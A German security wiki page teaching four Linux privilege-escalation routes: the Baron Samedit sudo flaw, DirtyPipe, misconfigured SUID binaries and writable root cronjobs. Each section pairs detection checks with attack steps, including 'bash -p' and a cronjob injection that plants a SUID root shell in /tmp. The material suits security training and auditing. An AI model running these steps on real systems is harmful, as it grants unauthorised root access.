Privilege Escalation Beispiele: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
(Die Seite wurde neu angelegt: „==Privilege Escalations auf einem kompromittierten System== *Dieses Dokument beschreibt vier typische Methoden zur Privilegienerweiterung auf einem Linux-Syst…“)
(kein Unterschied)

Version vom 26. April 2025, 08:35 Uhr

Privilege Escalations auf einem kompromittierten System

  • Dieses Dokument beschreibt vier typische Methoden zur Privilegienerweiterung auf einem Linux-System.
  • Besonderer Fokus liegt darauf, wie Schwachstellen **real entdeckt** werden, nicht nur auf der Ausnutzung.

Privilege Escalation über sudo: CVE-2021-3156 ("Baron Samedit")

Zielsetzung

  • Root-Rechte durch eine Schwachstelle im sudo-Programm erlangen.

Wie entdeckt man die Schwachstelle?

sudo-Version prüfen
  • sudo --version
Verwundbare Versionen
  • Sudo <= 1.9.5p2 ist verwundbar.

Voraussetzungen

Bedingung Beschreibung
sudo-Version <= 1.9.5p2
Lokaler Benutzer Zugriff auf sudo installiert
shell Zugriff Vorhanden

Angriff: Root-Rechte durch Exploit

Exploit herunterladen
Exploit kompilieren
  • gcc exploit.c -o sudo_exploit
Exploit ausführen
  • ./sudo_exploit
Erwartung
  • Root-Shell erhalten.

Hinweise

  • Exploit kann je nach libc-Version angepasst werden müssen.
  • Bei Erfolg direkte Root-Rechte.

Privilege Escalation über Kernel-Exploit: DirtyPipe (CVE-2022-0847)

Zielsetzung

  • Root-Rechte durch Kernel-Schwachstelle erhalten.

Wie entdeckt man die Schwachstelle?

Kernel-Version prüfen
  • uname -r
Verwundbare Versionen
  • Linux 5.8 bis 5.16.11 sind betroffen.

Voraussetzungen

Bedingung Beschreibung
Linux-Kernel-Version 5.8 bis 5.16.11
Lokaler Zugriff Vorhanden
shell Zugriff Vorhanden

Angriff: Root-Rechte durch Exploit

Exploit herunterladen
Exploit kompilieren
  • gcc -o dirtypipe dirtypipe.c
Exploit ausführen
  • ./dirtypipe /usr/bin/su
Erwartung
  • Root-Shell erhalten.

Hinweise

  • Exploit manipuliert beliebige schreibgeschützte Dateien.
  • Besonders effektiv gegen aktuelle ungehärtete Systeme.

Privilege Escalation über falsch gesetzte SUID-Binaries

Zielsetzung

  • Root-Rechte durch falsch konfigurierte SUID-Binaries erlangen.

Wie entdeckt man die Schwachstelle?

SUID-Binaries finden
  • find / -perm -4000 -type f 2>/dev/null
Berechtigungen prüfen
  • ls -l /pfad/zur/datei
Verdächtig
  • Binaries wie bash, nmap, find, cp, die als SUID-Root ausführbar sind.

Voraussetzungen

Bedingung Beschreibung
SUID Binary Existent und falsch konfiguriert
Lokaler Zugriff Vorhanden
shell Zugriff Vorhanden

Angriff: Root-Shell durch Bash

Bash mit SUID-Bit starten
  • /usr/bin/bash -p
Erwartung
  • Root-Shell erhalten.

Hinweise

  • Andere Binaries wie nmap oder vim können ähnliche Wege bieten.
  • Berechtigungen der Binaries sind entscheidend.

Privilege Escalation über falsch konfigurierten Cronjob

Zielsetzung

  • Root-Rechte durch unsichere Cronjob-Konfiguration erlangen.

Wie entdeckt man die Schwachstelle?

Benutzer-Cronjobs prüfen
  • crontab -l
Systemweite Cronjobs prüfen
  • cat /etc/crontab
  • ls -la /etc/cron.d/
  • ls -la /etc/cron.hourly/
  • ls -la /etc/cron.daily/
  • ls -la /etc/cron.weekly/
  • ls -la /etc/cron.monthly/
Dateiberechtigungen prüfen
  • ls -l /pfad/zum/skript.sh
Verdächtig
  • Skripte, die von normalen Benutzern bearbeitet werden können und als root ausgeführt werden.

Voraussetzungen

Bedingung Beschreibung
Schwacher Cronjob Existiert
Lokaler Zugriff Vorhanden
shell Zugriff Vorhanden

Angriff: Code einschleusen

Skript manipulieren
  • echo "cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash" >> /opt/backup.sh
Warten, bis Cronjob ausgeführt wird.
Root-Shell starten
  • /tmp/rootbash -p
Erwartung
  • Root-Shell erhalten.

Hinweise

  • Dateien, die von root ausgeführt werden, müssen sicher konfiguriert sein (nur root schreibbar).

Zusammenfassung: typische Erkennungs- und Angriffsmethoden

Methode Erkennung Angriffsmethode Hinweis
Sudo-Exploit sudo --version Exploit ausführen Version prüfen!
Kernel-Exploit uname -r DirtyPipe oder ähnliches Kernel genau analysieren!
SUID-Fehler find / -perm -4000 SUID-Binary missbrauchen Berechtigungen checken!
Cronjob-Fehler crontab, /etc/cron* Skript manipulieren Dateirechte kontrollieren!